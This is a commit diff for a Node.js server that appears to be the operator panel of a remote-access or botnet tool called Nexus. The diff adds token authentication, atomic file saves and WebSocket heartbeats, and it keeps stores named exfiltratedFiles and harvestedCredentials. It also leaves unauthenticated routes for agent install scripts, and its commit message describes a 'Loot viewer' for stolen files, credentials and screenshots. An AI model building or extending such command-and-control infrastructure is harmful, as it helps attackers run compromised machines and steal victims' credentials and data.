feat: operator auth (Bearer+WS 4401), atomic saves, WS heartbeat, Loot viewer (files+creds+screenshots), auth gate, WS reconnect backoff, empty-state hero, toasts

This commit is contained in:
root
2026-08-03 14:21:08 +00:00
parent 53d65f7a76
commit 0dcbbffbaa
8 changed files with 2586 additions and 12 deletions

View File

@@ -24,6 +24,28 @@ app.use(cors());
app.use(express.json({ limit: '50mb' }));
app.use(express.static(path.join(__dirname, 'public')));
// ── Auth ──
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
if (!AUTH_TOKEN) {
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
}
const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
function authMiddleware(req, res, next) {
if (!AUTH_TOKEN) return next();
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
const h = req.headers.authorization || '';
if (h === 'Bearer ' + AUTH_TOKEN) return next();
if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
return res.status(401).json({ error: 'unauthorized' });
}
app.use(authMiddleware);
app.get('/api/auth/check', (req, res) => {
if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
res.json({ ok: true, authRequired: true });
});
function getLocalIp() {
const interfaces = os.networkInterfaces();
for (const name of Object.keys(interfaces)) {
@@ -48,14 +70,24 @@ const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, da
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
// ── Persistence ──
let _saveLock = false;
function _atomicWrite(file, data) {
const tmp = file + '.tmp';
fs.writeFileSync(tmp, data);
fs.renameSync(tmp, file);
}
function saveData() {
if (_saveLock) return;
_saveLock = true;
try {
fs.writeFileSync(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
fs.writeFileSync(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
fs.writeFileSync(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
fs.writeFileSync(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
fs.writeFileSync(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
} catch(e) { /* silent */ }
_atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
_atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
_atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
_atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
_atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
} catch(e) { /* silent */ } finally {
_saveLock = false;
}
}
function loadData() {
@@ -107,7 +139,17 @@ function broadcastState() {
});
}
wss.on('connection', (ws) => {
wss.on('connection', (ws, req) => {
// Auth check on WS upgrade
if (AUTH_TOKEN) {
const url = new URL(req.url, 'http://localhost');
if (url.searchParams.get('token') !== AUTH_TOKEN) {
ws.close(4401, 'unauthorized');
return;
}
}
ws.isAlive = true;
ws.on('pong', () => { ws.isAlive = true; });
ws.send(JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
@@ -120,6 +162,15 @@ wss.on('connection', (ws) => {
}));
});
// WS heartbeat: ping every 25s, drop dead clients
setInterval(() => {
wss.clients.forEach(ws => {
if (ws.isAlive === false) return ws.terminate();
ws.isAlive = false;
try { ws.ping(); } catch(e) {}
});
}, 25000);
// REST API Endpoints
app.get('/api/status', (req, res) => {